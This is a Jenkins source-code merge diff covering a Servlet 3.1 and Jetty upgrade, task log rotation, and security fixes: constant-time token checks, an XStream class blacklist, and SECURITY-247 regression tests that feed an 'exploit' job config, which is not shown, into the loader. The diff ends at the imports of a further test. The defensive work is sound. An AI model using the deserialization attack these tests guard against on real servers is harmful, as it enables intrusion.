提交 08a8f147 编写于 作者: K Kohsuke Kawaguchi

Merge pull request #2063 from jenkinsci/JENKINS-23378

[FIXED JENKINS-23378] Servlet 3.1
......@@ -55,9 +55,17 @@ Upcoming changes</a>
<!-- Record your changes in the trunk here. -->
<div id="trunk" style="display:none"><!--=TRUNK-BEGIN=-->
<ul class=image>
<li class=>
<li class="rfe">
Move periodic task log files from <code>JENKINS_HOME/*.log</code> to <code>JENKINS_HOME/logs/tasks/*.log</code> and rotate them periodically rather than overwrite every execution
(<a href-"https://issues.jenkins-ci.org/browse/JENKINS-33068">issue 33068</a>)
</ul>
</div><!--=TRUNK-END=-->
<h3><a name=v1.650>What's new in 1.650</a> (2016/02/24)</h3>
<ul class=image>
<li class="major bug">
<strong>Important security fixes</strong>
(<a href="https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-02-24">security advisory</a>)
</ul>
<h3><a name=v1.649>What's new in 1.649</a> (2016/02/21)</h3>
<ul class=image>
<li class="rfe">
......
......@@ -39,7 +39,7 @@ THE SOFTWARE.
<properties>
<staplerFork>true</staplerFork>
<stapler.version>1.237</stapler.version>
<stapler.version>1.239</stapler.version>
<spring.version>2.5.6.SEC03</spring.version>
<groovy.version>1.8.9</groovy.version>
</properties>
......@@ -243,8 +243,8 @@ THE SOFTWARE.
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<version>2.4</version>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
<dependency>
......
......@@ -117,8 +117,6 @@ public class WebAppMain implements ServletContextListener {
installLogger();
markCookieAsHttpOnly(context);
final FileAndDescription describedHomeDir = getHomeDir(event);
home = describedHomeDir.file.getAbsoluteFile();
home.mkdirs();
......@@ -254,31 +252,6 @@ public class WebAppMain implements ServletContextListener {
}
}
/**
* Set the session cookie as HTTP only.
*
* @see <a href="https://www.owasp.org/index.php/HttpOnly">discussion of this topic in OWASP</a>
*/
private void markCookieAsHttpOnly(ServletContext context) {
try {
Method m;
try {
m = context.getClass().getMethod("getSessionCookieConfig");
} catch (NoSuchMethodException x) { // 3.0+
LOGGER.log(Level.FINE, "Failed to set secure cookie flag", x);
return;
}
Object sessionCookieConfig = m.invoke(context);
// not exposing session cookie to JavaScript to mitigate damage caused by XSS
Class scc = Class.forName("javax.servlet.SessionCookieConfig");
Method setHttpOnly = scc.getMethod("setHttpOnly",boolean.class);
setHttpOnly.invoke(sessionCookieConfig,true);
} catch (Exception e) {
LOGGER.log(Level.WARNING, "Failed to set HTTP-only cookie flag", e);
}
}
public void joinInit() throws InterruptedException {
initThread.join();
}
......
......@@ -78,7 +78,7 @@ public class CLIAction implements UnprotectedRootAction, StaplerProxy {
final String commandName = req.getRestOfPath().substring(1);
CLICommand command = CLICommand.clone(commandName);
if (command == null) {
rsp.sendError(HttpServletResponse.SC_NOT_FOUND, "No such command " + commandName);
rsp.sendError(HttpServletResponse.SC_NOT_FOUND, "No such command");
return;
}
......
......@@ -25,11 +25,11 @@ package hudson.model;
import hudson.security.ACL;
import hudson.util.StreamTaskListener;
import java.io.File;
import java.io.IOException;
import java.util.Date;
import java.util.concurrent.TimeUnit;
import java.util.logging.Level;
import jenkins.model.Jenkins;
/**
......@@ -40,8 +40,48 @@ import jenkins.model.Jenkins;
* @since 1.410
*/
public abstract class AsyncAperiodicWork extends AperiodicWork {
/**
/**
* The default number of minutes after which to try and rotate the log file used by {@link #createListener()}.
* This value is controlled by the system property {@code hudson.model.AsyncAperiodicWork.logRotateMinutes}.
* Each individual AsyncAperiodicWork can also have a per-extension override using the system property
* based on their fully qualified class name with {@code .logRotateMinutes} appended.
*
* @since 1.651
*/
private static final long LOG_ROTATE_MINUTES = Long.getLong(AsyncAperiodicWork.class.getName() +
".logRotateMinutes", TimeUnit.DAYS.toMinutes(1));
/**
* The default file size after which to try and rotate the log file used by {@link #createListener()}.
* A value of {@code -1L} disables rotation based on file size.
* This value is controlled by the system property {@code hudson.model.AsyncAperiodicWork.logRotateSize}.
* Each individual AsyncAperiodicWork can also have a per-extension override using the system property
* based on their fully qualified class name with {@code .logRotateSize} appended.
*
* @since 1.651
*/
private static final long LOG_ROTATE_SIZE = Long.getLong(AsyncAperiodicWork.class.getName() + ".logRotateSize",
-1L);
/**
* The number of milliseconds (since startup or previous rotation) after which to try and rotate the log file.
*
* @since 1.651
*/
private final long logRotateMillis;
/**
* {@code -1L} disabled file size based log rotation, otherwise when starting an {@link #execute(TaskListener)},
* if the log file size is above this number of bytes then the log file will be rotated beforehand.
*
* @since 1.651
*/
private final long logRotateSize;
/**
* The last time the log files were rotated. On start-up this will be {@link Long#MIN_VALUE} to ensure that the
* logs are always rotated every time Jenkins starts up to make it easier to correlate events with the main log.
*
* @since 1.651
*/
private long lastRotateMillis = Long.MIN_VALUE;
/**
* Name of the work.
*/
public final String name;
......@@ -50,6 +90,9 @@ public abstract class AsyncAperiodicWork extends AperiodicWork {
protected AsyncAperiodicWork(String name) {
this.name = name;
this.logRotateMillis = TimeUnit.MINUTES.toMillis(
Long.getLong(getClass().getName()+".logRotateMinutes", LOG_ROTATE_MINUTES));
this.logRotateSize = Long.getLong(getClass().getName() +".logRotateSize", LOG_ROTATE_SIZE);
}
/**
......@@ -59,16 +102,18 @@ public abstract class AsyncAperiodicWork extends AperiodicWork {
public final void doAperiodicRun() {
try {
if(thread!=null && thread.isAlive()) {
logger.log(Level.INFO, name+" thread is still running. Execution aborted.");
logger.log(getSlowLoggingLevel(), "{0} thread is still running. Execution aborted.", name);
return;
}
thread = new Thread(new Runnable() {
public void run() {
logger.log(Level.INFO, "Started "+name);
logger.log(getNormalLoggingLevel(), "Started {0}", name);
long startTime = System.currentTimeMillis();
long stopTime;
StreamTaskListener l = createListener();
try {
l.getLogger().printf("Started at %tc%n", new Date(startTime));
ACL.impersonate(ACL.SYSTEM);
execute(l);
......@@ -77,11 +122,16 @@ public abstract class AsyncAperiodicWork extends AperiodicWork {
} catch (InterruptedException e) {
e.printStackTrace(l.fatalError("aborted"));
} finally {
l.closeQuietly();
stopTime = System.currentTimeMillis();
try {
l.getLogger().printf("Finished at %tc. %dms%n", new Date(stopTime), stopTime - startTime);
} finally {
l.closeQuietly();
}
}
logger.log(Level.INFO, "Finished "+name+". "+
(System.currentTimeMillis()-startTime)+" ms");
logger.log(getNormalLoggingLevel(), "Finished {0}. {1,number} ms",
new Object[]{name, stopTime - startTime});
}
},name+" thread");
thread.start();
......@@ -91,8 +141,54 @@ public abstract class AsyncAperiodicWork extends AperiodicWork {
}
protected StreamTaskListener createListener() {
File f = getLogFile();
if (!f.getParentFile().isDirectory()) {
if (!f.getParentFile().mkdirs()) {
logger.log(getErrorLoggingLevel(), "Could not create directory {0}", f.getParentFile());
}
}
if (f.isFile()) {
if ((lastRotateMillis + logRotateMillis < System.currentTimeMillis())
|| (logRotateSize > 0 && f.length() > logRotateSize)) {
lastRotateMillis = System.currentTimeMillis();
File prev = null;
for (int i = 5; i >= 0; i--) {
File curr = i == 0 ? f : new File(f.getParentFile(), f.getName() + "." + i);
if (curr.isFile()) {
if (prev != null && !prev.exists()) {
if (!curr.renameTo(prev)) {
logger.log(getErrorLoggingLevel(), "Could not rotate log files {0} to {1}",
new Object[]{curr, prev});
}
} else {
if (!curr.delete()) {
logger.log(getErrorLoggingLevel(), "Could not delete log file {0} to enable rotation",
curr);
}
}
}
prev = curr;
}
}
} else {
lastRotateMillis = System.currentTimeMillis();
// migrate old log files the first time we start-up
File oldFile = new File(Jenkins.getActiveInstance().getRootDir(), f.getName());
if (oldFile.isFile()) {
File newFile = new File(f.getParentFile(), f.getName() + ".1");
if (!newFile.isFile()) {
// if there has never been rotation then this is the first time
if (oldFile.renameTo(newFile)) {
logger.log(getNormalLoggingLevel(), "Moved {0} to {1}", new Object[]{oldFile, newFile});
} else {
logger.log(getErrorLoggingLevel(), "Could not move {0} to {1}",
new Object[]{oldFile, newFile});
}
}
}
}
try {
return new StreamTaskListener(getLogFile());
return new StreamTaskListener(f, true, null);
} catch (IOException e) {
throw new Error(e);
}
......@@ -102,7 +198,37 @@ public abstract class AsyncAperiodicWork extends AperiodicWork {
* Determines the log file that records the result of this task.
*/
protected File getLogFile() {
return new File(Jenkins.getInstance().getRootDir(),name+".log");
return new File(Jenkins.getActiveInstance().getRootDir(),"logs/tasks/"+name+".log");
}
/**
* Returns the logging level at which normal messages are displayed.
*
* @return The logging level.
* @since 1.651
*/
protected Level getNormalLoggingLevel() {
return Level.INFO;
}
/**
* Returns the logging level at which previous task still executing messages is displayed.
*
* @return The logging level.
* @since 1.651
*/
protected Level getSlowLoggingLevel() {
return getNormalLoggingLevel();
}
/**
* Returns the logging level at which error messages are displayed.
*
* @return The logging level.
* @since 1.651
*/
protected Level getErrorLoggingLevel() {
return Level.SEVERE;
}
/**
......
......@@ -2,12 +2,13 @@ package hudson.model;
import hudson.security.ACL;
import hudson.util.StreamTaskListener;
import jenkins.model.Jenkins;
import java.io.File;
import java.io.IOException;
import java.util.Date;
import java.util.concurrent.TimeUnit;
import java.util.logging.Level;
import java.util.logging.LogRecord;
import jenkins.model.Jenkins;
/**
* {@link PeriodicWork} that takes a long time to run.
......@@ -20,6 +21,46 @@ import java.util.logging.LogRecord;
* @author Kohsuke Kawaguchi
*/
public abstract class AsyncPeriodicWork extends PeriodicWork {
/**
* The default number of minutes after which to try and rotate the log file used by {@link #createListener()}.
* This value is controlled by the system property {@code hudson.model.AsyncPeriodicWork.logRotateMinutes}.
* Each individual AsyncPeriodicWork can also have a per-extension override using the system property
* based on their fully qualified class name with {@code .logRotateMinutes} appended.
*
* @since 1.651
*/
private static final long LOG_ROTATE_MINUTES = Long.getLong(AsyncPeriodicWork.class.getName() + ".logRotateMinutes",
TimeUnit.DAYS.toMinutes(1));
/**
* The default file size after which to try and rotate the log file used by {@link #createListener()}.
* A value of {@code -1L} disables rotation based on file size.
* This value is controlled by the system property {@code hudson.model.AsyncPeriodicWork.logRotateSize}.
* Each individual AsyncPeriodicWork can also have a per-extension override using the system property
* based on their fully qualified class name with {@code .logRotateSize} appended.
*
* @since 1.651
*/
private static final long LOG_ROTATE_SIZE = Long.getLong(AsyncPeriodicWork.class.getName() + ".logRotateSize", -1L);
/**
* The number of milliseconds (since startup or previous rotation) after which to try and rotate the log file.
*
* @since 1.651
*/
private final long logRotateMillis;
/**
* {@code -1L} disabled file size based log rotation, otherwise when starting an {@link #execute(TaskListener)},
* if the log file size is above this number of bytes then the log file will be rotated beforehand.
*
* @since 1.651
*/
private final long logRotateSize;
/**
* The last time the log files were rotated. On start-up this will be {@link Long#MIN_VALUE} to ensure that the
* logs are always rotated every time Jenkins starts up to make it easier to correlate events with the main log.
*
* @since 1.651
*/
private long lastRotateMillis = Long.MIN_VALUE;
/**
* Human readable name of the work.
*/
......@@ -29,6 +70,9 @@ public abstract class AsyncPeriodicWork extends PeriodicWork {
protected AsyncPeriodicWork(String name) {
this.name = name;
this.logRotateMillis = TimeUnit.MINUTES.toMillis(
Long.getLong(getClass().getName() + ".logRotateMinutes", LOG_ROTATE_MINUTES));
this.logRotateSize = Long.getLong(getClass().getName() + ".logRotateSize", LOG_ROTATE_SIZE);
}
/**
......@@ -45,9 +89,11 @@ public abstract class AsyncPeriodicWork extends PeriodicWork {
public void run() {
logger.log(getNormalLoggingLevel(), "Started {0}", name);
long startTime = System.currentTimeMillis();
long stopTime;
StreamTaskListener l = createListener();
try {
l.getLogger().printf("Started at %tc%n", new Date(startTime));
ACL.impersonate(ACL.SYSTEM);
execute(l);
......@@ -56,11 +102,16 @@ public abstract class AsyncPeriodicWork extends PeriodicWork {
} catch (InterruptedException e) {
e.printStackTrace(l.fatalError("aborted"));
} finally {
l.closeQuietly();
stopTime = System.currentTimeMillis();
try {
l.getLogger().printf("Finished at %tc. %dms%n", new Date(stopTime), stopTime - startTime);
} finally {
l.closeQuietly();
}
}
logger.log(getNormalLoggingLevel(), "Finished {0}. {1,number} ms",
new Object[]{name, (System.currentTimeMillis()-startTime)});
new Object[]{name, stopTime - startTime});
}
},name+" thread");
thread.start();
......@@ -73,8 +124,54 @@ public abstract class AsyncPeriodicWork extends PeriodicWork {
}
protected StreamTaskListener createListener() {
File f = getLogFile();
if (!f.getParentFile().isDirectory()) {
if (!f.getParentFile().mkdirs()) {
logger.log(getErrorLoggingLevel(), "Could not create directory {0}", f.getParentFile());
}
}
if (f.isFile()) {
if ((lastRotateMillis + logRotateMillis < System.currentTimeMillis())
|| (logRotateSize > 0 && f.length() > logRotateSize)) {
lastRotateMillis = System.currentTimeMillis();
File prev = null;
for (int i = 5; i >= 0; i--) {
File curr = i == 0 ? f : new File(f.getParentFile(), f.getName() + "." + i);
if (curr.isFile()) {
if (prev != null && !prev.exists()) {
if (!curr.renameTo(prev)) {
logger.log(getErrorLoggingLevel(), "Could not rotate log files {0} to {1}",
new Object[]{curr, prev});
}
} else {
if (!curr.delete()) {
logger.log(getErrorLoggingLevel(), "Could not delete log file {0} to enable rotation",
curr);
}
}
}
prev = curr;
}
}
} else {
lastRotateMillis = System.currentTimeMillis();
// migrate old log files the first time we start-up
File oldFile = new File(Jenkins.getActiveInstance().getRootDir(), f.getName());
if (oldFile.isFile()) {
File newFile = new File(f.getParentFile(), f.getName() + ".1");
if (!newFile.isFile()) {
// if there has never been rotation then this is the first time
if (oldFile.renameTo(newFile)) {
logger.log(getNormalLoggingLevel(), "Moved {0} to {1}", new Object[]{oldFile, newFile});
} else {
logger.log(getErrorLoggingLevel(), "Could not move {0} to {1}",
new Object[]{oldFile, newFile});
}
}
}
}
try {
return new StreamTaskListener(getLogFile());
return new StreamTaskListener(f, true, null);
} catch (IOException e) {
throw new Error(e);
}
......@@ -84,7 +181,7 @@ public abstract class AsyncPeriodicWork extends PeriodicWork {
* Determines the log file that records the result of this task.
*/
protected File getLogFile() {
return new File(Jenkins.getInstance().getRootDir(),name+".log");
return new File(Jenkins.getActiveInstance().getRootDir(),"logs/tasks/"+name+".log");
}
/**
......
......@@ -5,6 +5,7 @@
*/
package hudson.security.csrf;
import java.nio.charset.Charset;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.logging.Level;
......@@ -95,7 +96,9 @@ public class DefaultCrumbIssuer extends CrumbIssuer {
if (request instanceof HttpServletRequest) {
String newCrumb = issueCrumb(request, salt);
if ((newCrumb != null) && (crumb != null)) {
return newCrumb.equals(crumb);
// String.equals() is not constant-time, but this is
return MessageDigest.isEqual(newCrumb.getBytes(Charset.forName("US-ASCII")),
crumb.getBytes(Charset.forName("US-ASCII")));
}
}
return false;
......
......@@ -28,8 +28,6 @@ import hudson.console.ConsoleNote;
import hudson.console.HudsonExceptionNote;
import hudson.model.TaskListener;
import hudson.remoting.RemoteOutputStream;
import org.kohsuke.stapler.framework.io.WriterOutputStream;
import java.io.Closeable;
import java.io.File;
import java.io.FileOutputStream;
......@@ -46,6 +44,7 @@ import java.io.Writer;
import java.nio.charset.Charset;
import java.util.logging.Level;
import java.util.logging.Logger;
import org.kohsuke.stapler.framework.io.WriterOutputStream;
/**
* {@link TaskListener} that generates output into a single stream.
......@@ -98,6 +97,22 @@ public class StreamTaskListener extends AbstractTaskListener implements Serializ
this(new FileOutputStream(out),charset);
}
/**
* Constructs a {@link StreamTaskListener} that sends the output to a specified file.
*
* @param out the file.
* @param append if {@code true}, then output will be written to the end of the file rather than the beginning.
* @param charset if non-{@code null} then the charset to use when writing.
* @throws IOException if the file could not be opened.
* @since 1.651
*/
public StreamTaskListener(File out, boolean append, Charset charset) throws IOException {
// don't do buffering so that what's written to the listener
// gets reflected to the file immediately, which can then be
// served to the browser immediately
this(new FileOutputStream(out, append),charset);
}
public StreamTaskListener(Writer w) throws IOException {
this(new WriterOutputStream(w));
}
......
......@@ -47,6 +47,7 @@ import edu.umd.cs.findbugs.annotations.SuppressWarnings;
import hudson.PluginManager;
import hudson.PluginWrapper;
import hudson.diagnosis.OldDataMonitor;
import hudson.remoting.ClassFilter;
import hudson.util.xstream.ImmutableSetConverter;
import hudson.util.xstream.ImmutableSortedSetConverter;
import jenkins.model.Jenkins;
......@@ -159,6 +160,8 @@ public class XStream2 extends XStream {
// but before reflection-based one kicks in.
registerConverter(new AssociatedConverterImpl(this), -10);
registerConverter(new BlacklistedTypesConverter(), PRIORITY_VERY_HIGH); // SECURITY-247 defense
registerConverter(new DynamicProxyConverter(getMapper()) { // SECURITY-105 defense
@Override public boolean canConvert(Class type) {
return /* this precedes NullConverter */ type != null && super.canConvert(type);
......@@ -434,4 +437,30 @@ public class XStream2 extends XStream {
}
private static class BlacklistedTypesConverter implements Converter {
@Override
public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
throw new UnsupportedOperationException("Refusing to marshal " + source.getClass().getName() + " for security reasons");
}
@Override
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
throw new ConversionException("Refusing to unmarshal " + reader.getNodeName() + " for security reasons");
}
@Override
public boolean canConvert(Class type) {
if (type == null) {
return false;
}
try {
ClassFilter.DEFAULT.check(type);
ClassFilter.DEFAULT.check(type.getName());
} catch (SecurityException se) {
// claim we can convert all the scary stuff so we can throw exceptions when attempting to do so
return true;
}
return false;
}
}
}
......@@ -41,6 +41,8 @@ import org.kohsuke.stapler.StaplerRequest;
import org.kohsuke.stapler.StaplerResponse;
import java.io.IOException;
import java.nio.charset.Charset;
import java.security.MessageDigest;
import java.security.SecureRandom;
import javax.annotation.Nonnull;
import org.apache.commons.lang.StringUtils;
......@@ -109,7 +111,10 @@ public class ApiTokenProperty extends UserProperty {
}
public boolean matchesPassword(String password) {
return getApiTokenInsecure().equals(password);
String token = getApiTokenInsecure();
// String.equals isn't constant time, but this is
return MessageDigest.isEqual(password.getBytes(Charset.forName("US-ASCII")),
token.getBytes(Charset.forName("US-ASCII")));
}
private boolean hasPermissionToSeeToken() {
......
......@@ -6,8 +6,8 @@
to install plugins on behalf of you. Note that Jenkins uses HTTPS to communicate with the update center to download plugins.
<p>
The value you submit here will be set as <tt>http.proxyHost</tt> system property. Leaving this field empty
causes this property to be unset, which means Jenkins will try to connect to the host directly.
Leaving this field empty
means Jenkins will try to connect to the internet directly.
<p>
If you are unsure about the value, check the browser proxy configuration.
......
......@@ -9,11 +9,9 @@
und Plugins herunterzuladen.
<p>
Der Wert, den Sie hier angeben, wird als Systemeigenschaft <tt>http.proxyHost</tt>
gesetzt. Wenn Sie dieses Feld freilassen, wird die Systemeigenschaft gelöscht.
Jenkins versucht dann, das Update-Center direkt zu kontaktieren.
Wenn Sie dieses Feld freilassen, versucht Jenkins, das Update-Center direkt zu kontaktieren.
<p>
Wenn Sie sich nicht sicher sind, was Sie hier eintragen sollen, schauen Sie
in der Proxy-Konfiguration Ihres Browsers nach.
</div>
\ No newline at end of file
</div>
......@@ -7,8 +7,7 @@
Notez que Jenkins utilise HTTPS pour communiquer avec le serveur de mise à jour pour télécharger les plugins.
<p>
La valeur placée ici sera positionnée dans la propriété système <tt>http.proxyHost</tt>.
Si ce champ est vide, la propriété ne sera pas positionnée; Jenkins tentera donc de se
Si ce champ est vide Jenkins tentera de se
connecter directement au site.
<p>
......
<div>
If your Jenkins server sits behind a firewall and does not have the direct access to the internet,
and if your server JVM is not configured appropriately
(<a href="http://download.oracle.com/javase/6/docs/technotes/guides/net/properties.html">See JDK networking properties for more details</a>)
to enable internet connection, you can specify the HTTP proxy server name in this field to allow Jenkins
to install plugins on behalf of you. Note that Jenkins uses HTTPS to communicate with the update center to download plugins.
<p>
The value you submit here will be set as <tt>http.proxyHost</tt> system property. Leaving this field empty
causes this property to be unset, which means Jenkins will try to connect to the host directly.
<p>
If you are unsure about the value, check the browser proxy configuration.
</div>
\ No newline at end of file
......@@ -38,7 +38,7 @@ Run.Summary.BrokenSinceThisBuild=nieudany od tego zadania
Run.Summary.BrokenSince=nieudany od zadania {0}
Run.Summary.Unknown=?
UpdateCenter.DownloadButNotActivated=Pobrana pomy\u015Blnie. Zostanie w\u0142\u0105czony podczas kolejnego restartu Jenkinsa
UpdateCenter.DownloadButNotActivated=Pobrana pomy\u015Blnie. Zostanie w\u0142\u0105czona podczas ponownego uruchomienia Jenkinsa
UpdateCenter.Status.CheckingInternet=Sprawdzanie po\u0142\u0105czenia z Internetem
UpdateCenter.Status.CheckingJavaNet=Sprawdzanie po\u0142\u0105czenia z centrum aktualizacji
UpdateCenter.Status.Success=Zako\u0144czono pomy\u015Blnie
......
......@@ -26,5 +26,5 @@ On=Na
People=U\u017Cytkownicy
User\ Id=Identyfikator u\u017Cytkownika
Last\ Commit\ Activity=Ostatnia zmiana
blurb=Prezentuje wszystkich uwierzytelnionych u\u017Cytkownik\u00F3w w\u0142\u0105cznie z identyfikuj\u0105cym loginem oraz osoby wymienione w opisach zarejestrowanych zmianach.
blurb=Prezentuje wszystkich uwierzytelnionych u\u017Cytkownik\u00F3w w\u0142\u0105cznie z identyfikatorem oraz osoby wymienione w opisach zarejestrowanych zmian.
......@@ -73,7 +73,7 @@
H/15 * * * *
# every ten minutes in the first half of every hour (three times, perhaps at :04, :14, :24)
H(0-29)/10 * * * *
# once every two hours every weekday (perhaps at 10:38 AM, 12:38 PM, 2:38 PM, 4:38 PM)
# once every two hours every weekday (perhaps at 9:38 AM, 11:38 AM, 1:38 PM, 3:38 PM)
H 9-16/2 * * 1-5
# once a day on the 1st and 15th of every month except December
H H 1,15 1-11 *
......
......@@ -179,7 +179,7 @@ THE SOFTWARE.
<dependency>
<groupId>org.jenkins-ci.main</groupId>
<artifactId>remoting</artifactId>
<version>2.53.2</version>
<version>2.53.3</version>
</dependency>
<dependency>
......
......@@ -63,7 +63,7 @@ THE SOFTWARE.
<dependency>
<groupId>${project.groupId}</groupId>
<artifactId>jenkins-test-harness</artifactId>
<version>2.2</version>
<version>2.5</version>
<scope>test</scope>
</dependency>
<dependency>
......
......@@ -38,8 +38,10 @@ import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import javax.servlet.ReadListener;
import javax.servlet.ServletInputStream;
import javax.servlet.ServletOutputStream;
import javax.servlet.WriteListener;
import org.acegisecurity.context.SecurityContext;
import org.acegisecurity.context.SecurityContextHolder;
......@@ -147,9 +149,18 @@ public class ComputerConfigDotXmlTest {
@Override
public void write(int b) throws IOException {
baos.write(b);
}
@Override
public boolean isReady() {
return true;
}
@Override
public void setWriteListener(WriteListener writeListener) {
throw new UnsupportedOperationException();
}
});
return baos;
......@@ -162,15 +173,28 @@ public class ComputerConfigDotXmlTest {
private final InputStream inner;
public Stream(final InputStream inner) {
this.inner = inner;
}
@Override
public int read() throws IOException {
return inner.read();
}
@Override
public boolean isFinished() {
return false;
}
@Override
public boolean isReady() {
return true;
}
@Override
public void setReadListener(ReadListener readListener) {
throw new UnsupportedOperationException();
}
}
return new Stream(Computer.class.getResourceAsStream(name));
......
......@@ -103,6 +103,10 @@ import org.apache.commons.io.FileUtils;
import static org.hamcrest.Matchers.nullValue;
import static org.junit.Assert.*;
import org.eclipse.jetty.server.Server;
import org.eclipse.jetty.server.ServerConnector;
import org.eclipse.jetty.servlet.ServletHandler;
import org.eclipse.jetty.servlet.ServletHolder;
import org.junit.Assert;
import org.junit.Rule;
import org.junit.Test;
......@@ -114,10 +118,6 @@ import org.jvnet.hudson.test.SleepBuilder;
import org.jvnet.hudson.test.TestBuilder;
import org.jvnet.hudson.test.TestExtension;
import org.jvnet.hudson.test.recipes.LocalData;
import org.mortbay.jetty.Server;
import org.mortbay.jetty.bio.SocketConnector;
import org.mortbay.jetty.servlet.ServletHandler;
import org.mortbay.jetty.servlet.ServletHolder;
/**
* @author Kohsuke Kawaguchi
......@@ -283,12 +283,12 @@ public class QueueTest {
Server server = new Server();
SocketConnector connector = new SocketConnector();
ServerConnector connector = new ServerConnector(server);
server.addConnector(connector);
ServletHandler handler = new ServletHandler();
handler.addServletWithMapping(new ServletHolder(new FileItemPersistenceTestServlet()),"/");
server.addHandler(handler);
server.setHandler(handler);
server.start();
......@@ -581,7 +581,6 @@ public class QueueTest {
* Make sure that the running build actually carries an credential.
*/
@Test public void accessControl() throws Exception {
r.configureUserRealm();
FreeStyleProject p = r.createFreeStyleProject();
QueueItemAuthenticatorConfiguration.get().getAuthenticators().add(new MockQueueItemAuthenticator(Collections.singletonMap(p.getFullName(), alice)));
p.getBuildersList().add(new TestBuilder() {
......@@ -608,7 +607,6 @@ public class QueueTest {
DumbSlave s1 = r.createSlave();
DumbSlave s2 = r.createSlave();
r.configureUserRealm();
FreeStyleProject p = r.createFreeStyleProject();
QueueItemAuthenticatorConfiguration.get().getAuthenticators().add(new MockQueueItemAuthenticator(Collections.singletonMap(p.getFullName(), alice)));
p.getBuildersList().add(new TestBuilder() {
......
......@@ -42,15 +42,16 @@ import javax.servlet.http.HttpServletResponse;
import static org.junit.Assert.*;
import org.apache.commons.io.FileUtils;
import org.eclipse.jetty.server.HttpConnection;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.server.Server;
import org.eclipse.jetty.server.ServerConnector;
import org.eclipse.jetty.server.handler.AbstractHandler;
import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.jvnet.hudson.test.JenkinsRule;
import org.mortbay.jetty.HttpConnection;
import org.mortbay.jetty.Server;
import org.mortbay.jetty.bio.SocketConnector;
import org.mortbay.jetty.handler.AbstractHandler;
public class UpdateSiteTest {
......@@ -76,18 +77,17 @@ public class UpdateSiteTest {
@Before
public void setUpWebServer() throws Exception {
server = new Server();
SocketConnector connector = new SocketConnector();
ServerConnector connector = new ServerConnector(server);
server.addConnector(connector);
server.setHandler(new AbstractHandler() {
public void handle(String target, HttpServletRequest request,
HttpServletResponse response, int dispatch) throws IOException,
ServletException {
@Override
public void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
if (target.startsWith(RELATIVE_BASE)) {
target = target.substring(RELATIVE_BASE.length());
}
String responseBody = getResource(target);
if (responseBody != null) {
HttpConnection.getCurrentConnection().getRequest().setHandled(true);
baseRequest.setHandled(true);
response.setContentType("text/plain; charset=utf-8");
response.setStatus(HttpServletResponse.SC_OK);
response.getOutputStream().write(responseBody.getBytes());
......
package hudson.util;
import hudson.model.Items;
import org.apache.commons.io.*;
import org.apache.commons.io.IOUtils;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TemporaryFolder;
import org.jvnet.hudson.test.Issue;
import org.jvnet.hudson.test.JenkinsRule;
import org.kohsuke.stapler.StaplerRequest;
import org.kohsuke.stapler.StaplerResponse;
import org.mockito.Mock;
import org.mockito.MockitoAnnotations;
import javax.servlet.ReadListener;
import javax.servlet.ServletInputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import static org.junit.Assert.assertFalse;
import static org.mockito.Mockito.when;
public class XStream2Security247Test {
@Rule
public JenkinsRule j = new JenkinsRule();
@Rule
public TemporaryFolder f = new TemporaryFolder();
@Mock
private StaplerRequest req;
@Mock
private StaplerResponse rsp;
@Before
public void setUp() throws Exception {
MockitoAnnotations.initMocks(this);
}
@Test
@Issue("SECURITY-247")
public void testXmlLoad() throws Exception {
File exploitFile = f.newFile();
try {
// be extra sure there's no file already
if (exploitFile.exists() && !exploitFile.delete()) {
throw new IllegalStateException("file exists and cannot be deleted");
}
File tempJobDir = new File(j.jenkins.getRootDir(), "security247");
String exploitXml = org.apache.commons.io.IOUtils.toString(
XStream2Security247Test.class.getResourceAsStream(
"/hudson/util/XStream2Security247Test/config.xml"), "UTF-8");
exploitXml = exploitXml.replace("@TOKEN@", exploitFile.getAbsolutePath());
FileUtils.write(new File(tempJobDir, "config.xml"), exploitXml);
try {
Items.load(j.jenkins, tempJobDir);
} catch (Exception e) {
// ignore
}
assertFalse("no file should be created here", exploitFile.exists());
} finally {
exploitFile.delete();
}
}
@Test
@Issue("SECURITY-247")
public void testPostJobXml() throws Exception {
File exploitFile = f.newFile();
try {
// be extra sure there's no file already
if (exploitFile.exists() && !exploitFile.delete()) {
throw new IllegalStateException("file exists and cannot be deleted");
}
File tempJobDir = new File(j.jenkins.getRootDir(), "security247");
String exploitXml = org.apache.commons.io.IOUtils.toString(
XStream2Security247Test.class.getResourceAsStream(
"/hudson/util/XStream2Security247Test/config.xml"), "UTF-8");
exploitXml = exploitXml.replace("@TOKEN@", exploitFile.getAbsolutePath());
when(req.getMethod()).thenReturn("POST");
when(req.getInputStream()).thenReturn(new Stream(IOUtils.toInputStream(exploitXml)));
when(req.getContentType()).thenReturn("application/xml");
when(req.getParameter("name")).thenReturn("foo");
try {
j.jenkins.doCreateItem(req, rsp);
} catch (Exception e) {
// don't care
}
assertFalse("no file should be created here", exploitFile.exists());
} finally {
exploitFile.delete();
}
}
private static class Stream extends ServletInputStream {
private final InputStream inner;
public Stream(final InputStream inner) {
this.inner = inner;
}
@Override
public int read() throws IOException {
return inner.read();
}
@Override
public boolean isFinished() {
return false;
}
@Override
public boolean isReady() {
return true;
}
@Override
public void setReadListener(ReadListener readListener) {
throw new UnsupportedOperationException();
}
}
}
package jenkins.security;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.Channel.Mode;
import hudson.remoting.ChannelBuilder;
import hudson.remoting.ClassFilter;
import hudson.remoting.JarLoader;
import java.io.DataOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.net.HttpURLConnection;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.URL;
import java.net.URLClassLoader;
